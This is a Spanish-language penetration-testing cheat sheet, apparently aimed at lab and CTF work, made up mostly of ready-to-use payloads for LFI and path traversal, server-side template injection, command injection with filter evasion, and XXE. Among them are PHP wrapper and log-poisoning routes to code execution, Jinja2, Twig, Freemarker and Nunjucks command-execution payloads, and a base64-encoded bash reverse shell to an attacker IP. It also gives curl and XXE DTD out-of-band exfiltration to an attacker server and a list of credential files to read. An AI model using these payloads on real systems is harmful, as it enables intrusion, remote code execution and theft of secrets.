LFI, SSTI, inyección de comandos y XXE

Payloads para path traversal y LFI (wrappers de PHP, log poisoning), SSTI por motor de plantillas, inyección de comandos con evasión de filtros y XXE.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

LFI

Path traversal

Básico
../../../../../../etc/passwd
Si se borra ../ una sola vez
....//....//....//....//etc/passwd
Codificado en URL (doble)
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Si exige empezar por una ruta
/var/www/html/../../../../etc/passwd
Byte nulo (PHP anterior a 5.3.4)
../../../../etc/passwd%00

Wrappers de PHP

Leer el código fuente en base64
php://filter/convert.base64-encode/resource=index.php
Ejecutar código con data:// (allow_url_include)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id
Ejecutar código con php://input Atacante
curl -X POST 'http://10.10.11.20/index.php?page=php://input' --data '<?php system("id"); ?>'
RCE sin subir nada (filter chain) Atacante
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Genera una cadena php://filter enorme que, al incluirse, escribe ese código. Herramienta de Synacktiv.

De LFI a RCE con logs

Envenenar el log con el User-Agent Atacante
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'
Incluir el log
?page=/var/log/apache2/access.log&c=id

En nginx: /var/log/nginx/access.log. También sirven /proc/self/environ o las sesiones de PHP en /var/lib/php/sessions/sess_<id>.

Ficheros interesantes

Linux
/etc/passwd
/etc/hosts
/proc/self/cmdline
/proc/self/environ
/home/USUARIO/.ssh/id_rsa
/var/www/html/config.php
/etc/nginx/sites-enabled/default
/etc/apache2/sites-enabled/000-default.conf
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

SSTI

Detección

Cadena que rompe casi cualquier motor
${{<%[%'"}}%\.
Operaciones según la sintaxis
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{7*'7'}}

{{7*'7'}} da 7777777 en Jinja2 y 49 en Twig.

Jinja2 (Python / Flask)

Ejecutar un comando
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Alternativa corta
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Sin puntos ni guiones bajos (filtros)
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

Otros motores

Twig (PHP)
{{ ['id']|filter('system') }}
ERB (Ruby)
<%= `id` %>
Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Spring / Thymeleaf (expresiones SpEL)
${T(java.lang.Runtime).getRuntime().exec('id')}
Nunjucks (Node.js)
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

Herramienta

SSTImap Atacante
python3 sstimap.py -u 'http://10.10.11.20/page?name=test'

Inyección de comandos

Separadores

Encadenar comandos
; id
| id
|| id
&& id
`id`
$(id)
Salto de línea codificado
%0aid

Evasión de filtros

Sin espacios
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
Palabras prohibidas
c'a't /etc/passwd
c\at /etc/passwd
/???/c?t /etc/passwd
Sin barras
cat ${HOME:0:1}etc${HOME:0:1}passwd
Todo en base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash

Genera el tuyo con el codificador (opción bash base64).

A ciegas

Por tiempo
; sleep 5
Fuera de banda por HTTP
; curl http://10.10.14.5/$(whoami)

Escucha con python3 -m http.server 80 y mira la ruta pedida.

Fuera de banda por ICMP
; ping -c 2 10.10.14.5

En tu máquina: sudo tcpdump -i tun0 icmp

XXE

Lectura de ficheros

Entidad externa
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>
Código PHP en base64
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<r>&x;</r>

A ciegas (fuera de banda)

DTD en tu servidor (evil.dtd) Atacante
<!ENTITY % f SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://10.10.14.5/?d=%f;'>">
%e;
%x;
Payload que carga la DTD
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % d SYSTEM "http://10.10.14.5/evil.dtd"> %d;]>
<r>1</r>